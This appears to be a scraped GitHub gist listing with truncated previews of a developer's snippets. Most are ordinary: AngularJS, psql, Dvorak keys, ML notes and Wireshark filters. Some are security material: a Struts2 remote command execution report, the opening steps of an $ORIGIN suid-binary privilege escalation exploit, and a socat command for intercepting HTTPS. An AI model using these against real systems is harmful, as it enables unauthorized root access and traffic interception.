Skip to content

Instantly share code, notes, and snippets.

Avatar

KINOSHITA Shinji snj

  • HAPPY SCIENCE
  • Tokyo
View GitHub Profile
View angular-socket.js
//TODO: make this a module
/**
* # SockJS socket management service
*
* Creates SockJS socket connection to server, re-connects on disconnection,
* and exports hooks to map handlers for various data interactions.
*
*/
angular.module('app').factory
View psqlfix.txt
mike@rbci:~$ psql -U postgres
psql (9.0.3)
Type "help" for help.
postgres=# update pg_database set datallowconn = TRUE where datname = 'template0';
UPDATE 1
postgres=# \c template0
You are now connected to database "template0".
template0=# update pg_database set datistemplate = FALSE where datname = 'template1';
UPDATE 1
@snj
snj / key_translator.js
Created Apr 29, 2015
Translated from US into Dvorak
View key_translator.js
// Copyright 2010-2015, Google Inc.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
View Amazon Machine Learning 概要
機械学習の導入を容易にする。
例:スパム判定。送信者ドメインやIP,時刻、言語といったファクト(教師データ)をもとにモデルをトレーニングし、未来予測対象のデータのスパム判定を行う。二項分類。
例2:ECサイトの商品のカテゴライズ。商品名、価格、メーカーなどの教師データをもとに、日用品なのか、食品、本なのかなどを予測対象データにたいして判定する。
例3:明日の売上はどのくらいか。過去の売上データ群から、一番もっともらしい範囲で。曜日、天気、気温などの要素。数値を元に。線形回帰分析。
スマートアプリケーションを作るには
1.機械学習への理解
2.R,Pythonなどの知識
3.特定のビジネス分野への知見(金融、広告など)
View gist:7078472
Japan's largest domain name registrar a subsite remote command execution
*Abstract:*
Japan's largest domain name registrar a subsite remote command execution
Details:
Apache struts2 a vulnerability introduced by manipulating parameters
prefixed with "action:"/"redirect:"/"redirectAction:" allows remote command
View gist:7078496
# Create a directory in /tmp we can control.
$ mkdir /tmp/exploit
# Link to an suid binary, thus changing the definition of $ORIGIN.
$ ln /bin/ping /tmp/exploit/target
# Open a file descriptor to the target binary (note: some users are surprised
# to learn exec can be used to manipulate the redirections of the current
# shell if a command is not specified. This is what is happening below).
$ exec 3< /tmp/exploit/target
@snj
snj / gist:7079339
Created Oct 21, 2013
wireshark filters
View gist:7079339
1. ip.addr == 10.0.0.1 [Sets a filter for any packet with 10.0.0.1, as either the source or dest]
2. ip.addr==10.0.0.1 && ip.addr==10.0.0.2 [sets a conversation filter between the two defined IP addresses]
3. http or dns [sets a filter to display all http and dns]
4. tcp.port==4000 [sets a filter for any TCP packet with 4000 as a source or dest port]
5. tcp.flags.reset==1 [displays all TCP resets]
@snj
snj / gist:7079322
Created Oct 21, 2013
swap a and b without tmp var
View gist:7079322
#include <iostream>
void swap(int& a, int& b){
b ^= a; a ^= b; b ^= a;
}
int main(){
int a = 1, b = 2;
swap(a, b);
@snj
snj / gist:7079345
Created Oct 21, 2013
decrypting https
View gist:7079345
openssl req -new -x509 -newkey rsa:1024 -out server.pem -keyout server.pem
socat -d -d openssl-listen:10443,reuseaddr,fork,cert=server.pem,verify=0 openssl:$target:443,verify=0
@snj
snj / gist:7079362
Created Oct 21, 2013
debugging android app
View gist:7079362
stop in jp.example.myapp.ExampleActivity.onCreate
adb wait-for-device shell am start -D -a android.intent.action.MAIN -n jp.example.myapp/.ExampleActivity
adb forward tcp:8888 jdwp:`adb jdwp|tail -1`
jdb -attach localhost:8888